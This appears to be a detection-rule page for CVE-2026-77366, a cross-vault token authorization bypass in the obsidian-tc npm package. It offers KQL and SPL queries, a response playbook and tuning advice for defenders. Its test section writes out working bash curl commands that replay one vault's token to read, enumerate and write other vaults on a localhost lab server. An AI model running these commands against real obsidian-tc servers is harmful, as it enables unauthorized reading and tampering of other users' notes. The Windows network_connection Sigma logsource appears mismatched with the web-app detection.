Skip to content
CVE-2026-77366

obsidian-tc Token Cross-Vault Authorization Bypass (CVE-2026-77366)

Initial Access Collection Last updated:

Detects exploitation of CVE-2026-77366, an IDOR/broken-object-level-authorization flaw (CWE-639, CWE-863) in the npm package obsidian-tc prior to version 1.3.1. A valid token issued for one configured Obsidian vault can be reused to read or write any other vault configured on the same obsidian-tc server, because the authorization layer validates only that a token is valid and not that it is scoped to the requested vault. Exploitation appears as a single token/session accessing vault identifiers it was not provisioned for, often enumerating multiple vault paths in rapid succession. Upgrade obsidian-tc to >= 1.3.1 to remediate.

Vulnerability Intelligence

Public PoC

What is CVE-2026-77366 obsidian-tc Token Cross-Vault Authorization Bypass (CVE-2026-77366)?

obsidian-tc Token Cross-Vault Authorization Bypass (CVE-2026-77366) (CVE-2026-77366) maps to the Initial Access and Collection tactics — the adversary is trying to get into your network in MITRE ATT&CK.

This page provides production-ready detection logic for obsidian-tc Token Cross-Vault Authorization Bypass (CVE-2026-77366), covering the data sources and telemetry it touches: obsidian-tc application logs, Reverse proxy / API gateway access logs. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Initial Access Collection
Microsoft Sentinel / Defender
kusto
// Detect a single obsidian-tc token/client accessing multiple distinct vault IDs
let lookback = 1h;
ObsidianTCLogs_CL
| where TimeGenerated > ago(lookback)
| where isnotempty(TokenId_s) and isnotempty(VaultId_s)
| where RequestPath_s has_any ("/vault/", "/api/vault", "/v1/vaults")
| summarize DistinctVaults = dcount(VaultId_s), VaultList = make_set(VaultId_s, 50), Requests = count(), SrcIPs = make_set(SrcIp_s, 20) by TokenId_s, ClientPrincipal_s, bin(TimeGenerated, 10m)
| where DistinctVaults > 1
| extend Reason = strcat("Token accessed ", DistinctVaults, " distinct vaults")
| project TimeGenerated, TokenId_s, ClientPrincipal_s, DistinctVaults, VaultList, Requests, SrcIPs, Reason
| order by DistinctVaults desc

Flags any obsidian-tc token that touches more than one distinct vault ID within a 10-minute window, the core signature of cross-vault token reuse under CVE-2026-77366.

critical severity medium confidence

Data Sources

obsidian-tc application logs Reverse proxy / API gateway access logs

Required Tables

ObsidianTCLogs_CL

False Positives

  • A legitimately privileged administrator or sync service whose token is intentionally provisioned for multiple vaults.
  • Shared service accounts used by a backup job that iterates all vaults on schedule.
  • Log parsing that incorrectly maps request path segments to VaultId, inflating distinct-vault counts.

Sigma rule & cross-platform mapping

The detection logic for obsidian-tc Token Cross-Vault Authorization Bypass (CVE-2026-77366) (CVE-2026-77366) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: network_connection
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1 Reuse obsidian-tc token across two vaults

    Expected signal: Two obsidian-tc access log entries sharing one token_id but referencing vault_id vaultA and vaultB.

  2. Test 2 Enumerate configured vaults with one token

    Expected signal: Multiple obsidian-tc access entries from one token_id referencing four distinct vault_id values in quick succession.

  3. Test 3 Cross-vault write attempt

    Expected signal: obsidian-tc log entry: token_id scoped to vaultA performing a write to vaultB.


Response Playbook

Triage

  1. Identify the flagged token_id and resolve which vault it was originally provisioned for versus the vaults it actually accessed.
  2. Confirm the obsidian-tc version in use; if < 1.3.1 the instance is vulnerable to CVE-2026-77366 and cross-vault access is likely malicious rather than authorized.
  3. Review the sequence and timing of vault accesses for the token — rapid enumeration of many vault IDs indicates automated exploitation.
  4. Correlate the source IP(s) and user-agent of the token's requests against the legitimate owner's known access patterns.

Containment

  1. Revoke the implicated token/session immediately and force re-authentication for the affected principal.
  2. Restrict obsidian-tc network exposure (firewall/reverse-proxy allowlist) and upgrade to obsidian-tc >= 1.3.1, which enforces per-vault token scoping.
  3. If upgrade cannot be immediate, disable multi-vault configuration or isolate each vault behind separate obsidian-tc instances.

Evidence Collection

  1. Preserve obsidian-tc access logs showing the token, accessed vault IDs, timestamps, source IPs and user-agents.
  2. Capture the obsidian-tc configuration enumerating all configured vaults and their intended token scopes.
  3. Snapshot the contents/modification timestamps of any vault the token accessed out-of-scope to assess data exposure or tampering.

Escalation Criteria

  • ! Escalate to incident response if the token accessed vaults containing sensitive or regulated data belonging to other tenants/users.
  • ! Escalate if write/modification operations (not just reads) were performed against out-of-scope vaults.
  • ! Escalate if multiple distinct tokens or external source IPs exhibit the same cross-vault pattern, indicating broad exploitation.

Investigation Guide

Forensic Artifacts

  • > obsidian-tc access and authorization logs containing token_id-to-vault_id mappings.
  • > obsidian-tc configuration file listing configured vaults and token scopes.
  • > Reverse-proxy/API-gateway logs recording request paths, source IPs and user-agents.

Tuning Guidance

Build an allowlist of token_ids/principals legitimately scoped to multiple vaults (admins, sync/backup services) and exclude them from the alert. Tune the correlation window (default 10m) and the distinct-vault threshold to match your environment's normal access cadence; in strict single-tenant deployments any value > 1 should alert, while shared deployments may warrant a higher threshold plus source-IP/user-agent anomaly correlation.


Hunting Queries

Baseline hunt for any obsidian-tc token historically spanning more than one vault, to find prior undetected exploitation.

Hunting — KQL
kql
ObsidianTCLogs_CL | where RequestPath_s has "/vault/" | summarize Vaults=make_set(VaultId_s,100), n=dcount(VaultId_s) by TokenId_s | where n > 1
Hunting — SPL
spl
index=obsidian_tc sourcetype=obsidian:tc:access uri_path="*/vault/*" | stats dc(vault_id) AS n values(vault_id) AS vaults by token_id | where n>1

Atomic Red Team Tests

Test 1 Reuse obsidian-tc token across two vaults
linux

Obtain a token scoped to vault A and replay it against vault B to confirm cross-vault authorization bypass on a vulnerable (<1.3.1) instance.

Command

bash
TOKEN=$(curl -s -X POST http://localhost:3000/api/auth -d 'vault=vaultA&key=labkey' | jq -r .token); curl -s -H "Authorization: Bearer $TOKEN" http://localhost:3000/api/vault/vaultA/notes; curl -s -H "Authorization: Bearer $TOKEN" http://localhost:3000/api/vault/vaultB/notes

Cleanup

bash
unset TOKEN

Expected Telemetry

Two obsidian-tc access log entries sharing one token_id but referencing vault_id vaultA and vaultB.

Expected Detection

Rule fires: single token accessed more than one distinct vault_id within the window.

Test 2 Enumerate configured vaults with one token
linux

Iterate a list of candidate vault IDs using a single token to enumerate accessible vaults, simulating automated exploitation.

Command

bash
TOKEN=$(curl -s -X POST http://localhost:3000/api/auth -d 'vault=vaultA&key=labkey' | jq -r .token); for V in vaultA vaultB vaultC vaultD; do curl -s -o /dev/null -w "$V %{http_code}\n" -H "Authorization: Bearer $TOKEN" http://localhost:3000/api/vault/$V/notes; done

Cleanup

bash
unset TOKEN

Expected Telemetry

Multiple obsidian-tc access entries from one token_id referencing four distinct vault_id values in quick succession.

Expected Detection

Rule fires on high distinct-vault count for a single token.

Test 3 Cross-vault write attempt
linux

Use a vault-A token to write a note into vault B, testing whether the bypass permits modification and not just read.

Command

bash
TOKEN=$(curl -s -X POST http://localhost:3000/api/auth -d 'vault=vaultA&key=labkey' | jq -r .token); curl -s -X PUT -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' -d '{"path":"poc.md","content":"cve-2026-77366"}' http://localhost:3000/api/vault/vaultB/notes

Cleanup

bash
curl -s -X DELETE -H "Authorization: Bearer $TOKEN" http://localhost:3000/api/vault/vaultB/notes/poc.md; unset TOKEN

Expected Telemetry

obsidian-tc log entry: token_id scoped to vaultA performing a write to vaultB.

Expected Detection

Rule fires; token referenced an out-of-scope vault_id with a write method.

Related Detections